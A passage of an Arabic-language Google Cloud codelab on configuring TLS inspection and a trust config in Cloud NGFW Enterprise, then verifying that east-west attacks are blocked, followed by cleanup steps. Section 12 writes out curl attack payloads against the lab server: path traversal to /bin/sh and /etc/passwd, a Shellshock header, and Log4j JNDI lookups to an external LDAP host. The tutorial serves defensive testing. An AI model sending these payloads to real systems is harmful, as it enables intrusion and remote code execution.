curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

اضبط المتغيّر على عنوان IP الخاص بالخادم من قبل:

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

أرسِل نماذج لطلبات بروتوكول أمان طبقة النقل (TLS) إلى الخادم:

curl https://$target_privateip --max-time 2

الناتج المتوقّع:

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

لماذا تعذّر تنفيذ هذا الطلب؟ يرجع ذلك إلى أنّ جدار الحماية يتلقّى شهادة من الخادم لا يمكن الوثوق بها. وفي حال حدوث ذلك، سيتم إرسال شهادة موقَّعة ذاتيًا إلى العميل. يجب إضافة شهادة CA كجزء من إعدادات الثقة لتفعيلها.

ارجع إلى Cloud Shell.

11. ضبط إعدادات الثقة

احصل على شهادة مرجع التصديق الجذر (Root CA) واضبطها كمتغيّر بالتنسيق المناسب.

export NGFW_ROOT_CA=$(gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" | sed 's/^/      /')

اضبط ملف YAML الخاص بإعدادات الثقة. يحتوي هذا الملف على تفاصيل الثقة، مثل شهادات CA:

cat > trust_config.yaml << EOF
name: "$prefix-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
${NGFW_ROOT_CA}
EOF

تضمّنت الأوامر أعلاه شهادة CA الجذر كجزء من مخزن شهادات الجذر الموثوق بها لأنّه تم توقيع شهادة الخادم باستخدام مرجع التصديق الجذر. وهذا يعني أنّ جدار الحماية سيثق في أي شهادات يتلقّاها وتم توقيعها من قِبل مرجع التصديق الجذر، بالإضافة إلى مراجع التصديق العلنية إذا كانت سياسة بروتوكول أمان طبقة النقل (TLS) تتضمّن excludePublicCaSet مضبوطة على "خطأ".

تحقَّق من محتوى إعدادات الثقة.

cat trust_config.yaml 

مثال على الناتج:

انتبه جيدًا إلى محاذاة المسافة البادئة للشهادة. يجب أن يلتزم بهذا التنسيق تمامًا.

name: "ngfw-enterprise-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
     -----BEGIN CERTIFICATE-----
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRS
      -----END CERTIFICATE-----

استيراد إعدادات الثقة:

gcloud certificate-manager trust-configs import $prefix-trust-config --project=$project_id --location=$region --source=trust_config.yaml

عدِّل ملف YAML الخاص بسياسة أمان طبقة النقل لتضمين إعدادات الثقة:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
minTlsVersion: TLS_1_1
tlsFeatureProfile: PROFILE_COMPATIBLE
trustConfig: projects/$project_id/locations/$region/trustConfigs/$prefix-trust-config
EOF

استورِد سياسة TLS المعدَّلة:

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

12. التحقّق من صحة فحص طبقة النقل الآمنة (TLS) لحركة المرور بين الشرق والغرب

يمكنك استخدام SSH للرجوع إلى الجهاز العميل واختبار حركة البيانات بين الشرق والغرب باستخدام إعدادات الثقة المعدَّلة:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

نفِّذ نموذج طلب TLS إلى الخادم:

curl https://$target_privateip --max-time 2

إذا كنت لا تزال تتلقّى الناتج أدناه، يُرجى الانتظار إلى أن يتم نشر التحديثات.

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

الناتج المتوقّع:

Page on ngfw-enterprise-us-west1-b-www in network ngfw-enterprise-vpc zone $zone

أرسِل عدد زيارات تجريبيًا ضارًا إلى الخادم:

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2

الناتج المتوقّع:

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

لم يتم تلقّي أي ردود وفقًا للناتج المتوقّع أدناه، ما يؤكّد أنّه يتم الآن حظر الهجمات النموذجية على E/W.

13. التسجيل

انتقِل إلى Logging > مستكشف السجلّات من خلال Cloud Console، وأدخِل الفلتر أدناه وابحث في السجلّات. استبدِل [PROJECT_ID] برقم تعريف مشروعك:

logName="projects/[PROJECT_ID]/logs/networksecurity.googleapis.com%2Ffirewall_threat"

من المفترض أن تظهر إدخالات سجلّ Cloud NGFW Enterprise على النحو التالي:

5b68cc1063c0f4bd.png

وسِّع إدخالات السجلّ ولاحظ أنّه تم تحديد الهجمات التي تم إرسالها من الجهاز الظاهري للعميل إلى الخادم وحظرها (ثغرة تنفيذ الرمز البرمجي عن بُعد في Apache Log4j كما هو موضّح في لقطة الشاشة أدناه).

478f18f8481e90ed.png

لقد نشرت Cloud NGFW Enterprise بنجاح مع ميزة "فحص بروتوكول أمان طبقة النقل" (TLS) لحظر الطلبات الضارة.

انتقِل إلى القسم التالي للاطّلاع على خطوات التنظيف.

14. خطوات التنظيف

تنظيف عملية الإعداد الأساسية

إزالة المثيلات:

gcloud -q compute instances delete $prefix-$zone-www --zone=$zone

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

اتّبِع الخطوات أدناه في حال تم تغيير أدوار tagAdmin وtagUsers:

export user_id=$(gcloud auth list --format="value(account)")

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagUser

أزِل مفتاح العلامة وقيمها:

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags

إزالة سياسة شبكة Cloud Firewall والربط:

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

احذف Cloud Router وCloud NAT:

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

احذف عناوين IP المحجوزة:

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

تنظيف Cloud Firewall SPG والربط وبروتوكول أمان طبقة النقل

احذف مجموعة ملفات الأمان وملف التهديدات بهذا الترتيب:

gcloud -q network-security security-profile-groups delete \
  $prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $prefix-sp-threat \
  --organization $org_id \
  --location=global

احذف ربط نقطة نهاية Cloud Firewall باتّباع الخطوات التالية:

gcloud -q network-security firewall-endpoint-associations delete \
  $prefix-association --zone $zone

احذف نقطة نهاية "جدار الحماية السحابي"، وقد يستغرق ذلك حوالي 20 دقيقة:

gcloud -q network-security firewall-endpoints delete $prefix-$zone --zone=$zone --organization $org_id

اختياريًا، تأكَّد من حذف نقطة نهاية Cloud NGFW من خلال تنفيذ الأمر أدناه:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

يجب أن تعرض حالة نقطة النهاية ما يلي:

STATE: DELETING

عند اكتمال العملية، لن يتم إدراج نقطة النهاية.

احذف "سياسة أمان طبقة النقل" و"إعدادات الثقة" بهذا الترتيب:

gcloud -q network-security tls-inspection-policies delete \
  $prefix-tls-policy \
  --location=$region

gcloud -q alpha certificate-manager trust-configs delete \
  $prefix-trust-config \
  --location=$region

إيقاف وحذف المرجع المصدق (CA) الجذر ومجموعة المراجع المصدقة (CA):

gcloud -q privateca roots disable $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --ignore-dependent-resources 

gcloud -q privateca roots delete $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --skip-grace-period \
  --ignore-active-certificates \
  --ignore-dependent-resources

gcloud -q privateca pools delete $prefix-CA-Pool \
  --location=$region \
  --ignore-dependent-resources

تنظيف الشبكة الفرعية وشبكة VPC

أخيرًا، احذف الشبكة الفرعية وشبكة السحابة الإلكترونية الافتراضية الخاصة (VPC):

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

15. تهانينا!

تهانينا، لقد أكملت بنجاح الدرس التطبيقي حول الترميز بعنوان "فحص TLS في Cloud NGFW Enterprise لحركة المرور بين الشرق والغرب والشمال".